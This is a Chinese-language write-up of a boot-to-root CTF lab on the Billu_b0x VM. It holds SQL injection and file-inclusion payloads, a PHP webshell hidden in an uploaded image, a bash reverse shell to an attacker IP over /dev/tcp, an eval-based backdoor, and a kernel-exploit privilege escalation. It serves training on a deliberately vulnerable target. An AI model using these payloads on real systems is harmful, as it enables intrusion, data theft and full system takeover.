靶机说明

虚拟机难度中等,使用ubuntu(32位),其他软件包有:

  • PHP

  • apache

  • MySQL

目标

Boot to root:从Web应用程序进入虚拟机,并获得root权限。

运行环境

  • 靶机:使用VMWare打开虚机,网络连接方式设置为net,靶机自动获取IP。

  • 攻击机:同网段下有Windows攻击机,安装有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等渗透工具,kali攻击机,主要用Windows攻击机完成实验。

信息收集

  • ip发现

  • 首先kali本机的IP为

启动Billu_b0x虚拟机,由于虚机网络设置为net模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段C段IP,即可找到虚机IP,命令:

nmap -sP 192.168.1.1/24

 

获得靶机ip 192.168.1.112

  • 端口和服务识别

使用nmap扫描1-65535全端口,并做服务识别和深度扫描(加-A参数),命令:

nmap -p 1-65535 -A 192.168.1.112

发现目标主机端口和服务如下:

端口 协议 后端服务

TCP 22 SSH OpenSSH 5.9p1

TCP 80 HTTP Apache httpd 2.2.22 

进入web首页:发现用户名口令输入框,并提示“Show me your SQLI skills”。

漏洞挖掘

  • 漏洞挖掘思路:

(1) SQL注入:首页提示注入,想办法注入成功。

(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;

(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;

(4) 手动挖掘:暴破的新页面,通过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;

(5) 查看每个网页的源码,看是否有提示;。

(6) 如得到用户名,密码,尝试登录ssh,如能连接上,无需反弹shell了。

  • 步骤1:测试首页SQL注入

(1) 在用户名输入框输入admin' or 'a'='a -- 密码随意,发现无法注入,出现js弹框Try again:

(2) 使用sqlmap进行post注入测试,命令:

sqlmap.py -u “http://192.168.1.112” --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql

sqlmap注入检测完成,结果无法注入,目前不知道系统对注入的过滤规则是什么,使用几个sqlmap的tamper测试也未成功。暂时先不fuzz注入,看看暴破目录。

  • 步骤2:windows使用御剑,DirBuster暴破目录,同时使用kali Linux的dirb暴破,为得到更多的暴破结果,并减少暴破时间:

得到页面较多,test.php、add.php、in.php、c.php、index.php、show.php等,目录有:uploaded_images,phpmy,images依次访问:

  • 步骤3:利用文件包含漏洞获取php源码、passwd文件

(1) 访问test.php:页面提示file参数为空,需要提供file参数

测试文件包含:http://192.168.1.112?file=/etc/passwd 发现无法包含,页面没有反应。

(2) 在Firefox的Hackbar或者Brupsuit中,将get请求,变更为post请求,文件包含成功,获得passwd文件。

(3) 查看passwd文件,发现1个id 1000的账号ica,ssh连接的用户名可以是ica或root:

(4) 通过同样文件包含的方法,下载add.php、in.php、c.php、index.php、show.php、panel.php等文件,后面可以访问文件的同时,审计文件的源代码。

add.php

add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码。in.php是php info信息。

  • 步骤5:查看c.php源码

这是数据库连接文件,发现mysql连接用户名密码:

用户名:billu

密码:b0x_billu

数据库名:ica_lab

c.php

  • 步骤6:通过得到的mysql密码登录phpmyadmin

得到WEB登陆的用户名

  • 步骤7:继续暴破phpmy目录,文件包含phpmyadmin配置文件

(1) phpmyadmin的默认的配置文件是:config.inc.php。需要猜测路径,通过URL猜测路径默认在/var/www/phpmy下面。

(2) 在火狐浏览器的Hackbar或者Burpsuit中,通过文件包含,读取config.inc.php文件,Hackbar的获取方法:

  • 步骤8:使用xshell ssh登录root账号,完成实验

获取shell

  • 步骤9:登录index首页,并获得cmd shell和反弹shell

(1) 使用web密码登录首页,大小写必须一样。

登录后是账号管理界面,账号是加勒比海盗的两位主角船长:杰克·斯帕罗和巴博萨船长。多写一句,本人更喜欢巴博萨船长,一个像敌人一样的海盗朋友,幽默、勇敢、阴险狡诈、霸道野心、老谋深算。

两个账号的头像图片地址,在之前暴破出来:http://192.168.1.112/uploaded_images/

(2) 点击add user进入添加账号界面,这是一个图片上传,思路是利用图片上传和文件包含获得shell。

查看之前test文件包含获得的panel.php源码,发现panel.php存在本地文件包含漏洞:

下载一张http://192.168.1.112/uploaded_images/中的图片jack.php,文本编辑器打开,在文件中间或末尾加入一句话cmd命令马

<?php system($_GET['cmd']); ?> 将文件  joker.php 上传成功

(3) 使用burp执行命令: post请求url中加入执行命令的参数:POST/ panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含cmd.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue

成功执行命令cat /etc/passwd;ls

或者在hackbar里面:

(4) 用bash反弹shell

命令:echo "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | bash

需要将命令url编码:

在post的url中发送命令:

nc接收反弹shell成功:

  • 步骤12:找一个可写权限目录,写入菜刀马

文件上传目录uploaded_images为写权限目录,进入该目录,写一个菜刀马:

echo '<?php eval($_POST['joker']);?>' >> 1.php

查看一下,发现上传成功

直接菜刀链接即可

提升权限

  • 步骤13:查看内核、系统版本,寻找提权exp

(1) 查看系统内核版本,命令uanme -acat /etc/issue

(2) 下载Ubuntu著名的本地提权漏洞exp:

https://www.exploit-db.com/exploits/37292/

  • 步骤14:编译、提权

(1) 赋予执行权限

chmod 777 37292.c

(2) 编译exp,由于权限限制,我们在kali本机上gcc编译下载好的exp脚本

gcc 37292.c -o exp

执行完代码,会生成一个exp,直接运行

(3) 执行exp,提权至root

提权之前:

提权之后:

我们现在已经是管理员权限了,完美收官

-------------------------------------------------------------------------------------------------

总结

  • 正常的思路有3条路线可以突破:

思路1

构造注入:从test的文件包含获得index.php源码,源码中可查看到过滤sql的方法,针对性构造sql注入,登录后获取shell再提权。

(1) 审计index.php源码,发现以下过滤规则:

$uname=str_replace('\'','',urldecode($_POST['un']));

$pass=str_replace('\'','',urldecode($_POST['ps']));

str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。urldecode的作用是将输入解码。

(2) 常见的利用注入登录的payload是' or 1=1 -- 修改这个在最后增加\',str_replace会将这个\'替换为空。

使用php在线调试工具,测试如下:

(3) 注入成功,payload是' or 1=1 -- \'

后面获取shell方法和上面实验相同。

思路2:暴破出phpmyadmin,文件包含从c.php获得mysql密码,登录phpmyadmin,再获取shell。

思路3:文件包含所有有权限查看的配置文件,从phpmyadmin配置文件获得root密码,然后ssh登录。该过程尽管mysql故障,也可以完成。

  • 踩到的坑

(1) mysql被高线程目录暴破和注入宕机:导致phpmyadmin有正确密码但无法登录,耗费较长时间。这是意外故障。因为之前的2个工具同时目录暴破、sqlmap注入等线程过高,导致mysql死了。

(2) test.php文件包含漏洞利用,get不行,改为post试试。包含成功后,要把各个页面的源代码拿下来审计。

(3) index.php的SQL注入花费不少时间,后来发现,即使不用sql注入,也有其他道路可以完成,通过phpmyadmin登录,绕过了注入。

(4) panel.php的文件包含漏洞,如果不认真关注源码,难以发现。使用test.php的文件包含,没能触发shell利用。

(5) 文件上传+文件包含拿shell是靶机常用的方式,遇到两个漏洞,可以熟练拿shell。

(6) 提权方法可以多关注主要的配置文件、数据库连接文件、用户的文件;也可以利用Ubuntu已知漏洞本地提权。

8. CTF综合靶机渗透(一)的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. 20. CTF综合靶机渗透(十三)

    靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...

  6. 14. CTF综合靶机渗透(七)

    靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权 ...

  7. 13. CTF综合靶机渗透(六)

    靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...

  8. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

  9. 19. CTF综合靶机渗透(十二)

    靶机说明: 靶机主题来自美剧<黑客军团> 本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限. 渗透过程: 本 ...

  10. 15. CTF综合靶机渗透(八)

    VM Name: BlackMarket VM Description: BlackMarket VM presented at Brisbane SecTalks BNE0x1B (28th Ses ...

随机推荐

  1. 收缩VC数据库

    注意: 在收缩日志前必须截断事务日志. 一. SQL Server 2008 收缩日志 (1) 使用SQL管理器收缩日志 第一步执行如下命令 ALTER DATABASE dbname SET REC ...

  2. 通过elasticsearch对日志进行搜索热词统计

    通过logstash搜集日志 这里搜集日志可以使用ELK的一个插件filebeat对日志进行处理,并传输到后端的程序 在这里有一个不好的地方, 如果想要直接使用filebeat将日志发送到elasti ...

  3. fffmpeg 提取pcm

    ffmpeg -i input.aac -codec:a pcm_f32le -ar 48000 -ac 2 -f f32le output.pcm

  4. 理解javascript this 值

    如何确定this的值 this值会被传递给所有函数,this的值是基于运行时调用函数的上下文. 例如:从全局作用域调用sayFoo函数时,this引用window对象 当它作为myObject的一种方 ...

  5. struts2--Basic(一)

    Struts是流行和成熟的基于MVC设计模式的WEB应用程序框架. 帮助我们减少在运用MVC设计模式来开发Web应用的时间. 1.下载添加jar包 2. 准备配置文件 web.xml <filt ...

  6. mysql删除重复数据方法

    create table tmp SELECT * from lhb t where t.id not in (select max(id) from lhb group by code,date,r ...

  7. uoj problem 11 ydc的大树

    题目大意: 给定一颗黑白树.允许删除一个白点.最大化删点后无法与删点前距自己最远的黑点连通的黑点个数.并求出方案数. 题解: 这道题很棒棒啊. 一开始想了一个做法,要用LCT去搞,特别麻烦而且还是\( ...

  8. bzoj 3689: 异或之 Trie+堆

    题目大意: http://www.lydsy.com/JudgeOnline/problem.php?id=3689 题解: 利用一个优先队列存储当前取到的数 然后再写一颗支持查找异或的k大值的Tri ...

  9. openfire服务器开发环境搭建

    2017-07-26 更新:直接获取最新版源码,就不会报错了,而且可支持的插件多,老版本的openfire几乎没有可用的官方插件. 系统及软件环境: MAC OSX EI Capitan 10.11. ...

  10. Sublime Text2中Evernote 插件的使用

    Sublime Text2是个强大的编辑器, 有好多插件供我们使用, 其中有个插件SublimeEvernote, 可以把代码发送到Evernote里. 但是没找见使用说明, 今天看了下Sublime ...